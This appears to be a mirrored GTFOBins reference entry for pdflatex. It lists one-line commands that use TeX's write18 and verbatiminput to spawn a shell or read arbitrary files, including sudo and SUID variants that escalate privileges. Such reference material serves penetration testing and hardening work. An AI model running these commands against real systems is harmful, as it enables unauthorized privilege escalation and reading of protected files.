mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
22 lines
922 B
Markdown
22 lines
922 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
file-read:
|
|
- description: The read file will be part of the output.
|
|
code: |
|
|
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
pdftotext article.pdf -
|
|
sudo:
|
|
- description: The read file will be part of the output.
|
|
code: |
|
|
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
pdftotext article.pdf -
|
|
- code: |
|
|
sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
limited-suid:
|
|
- code: |
|
|
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
---
|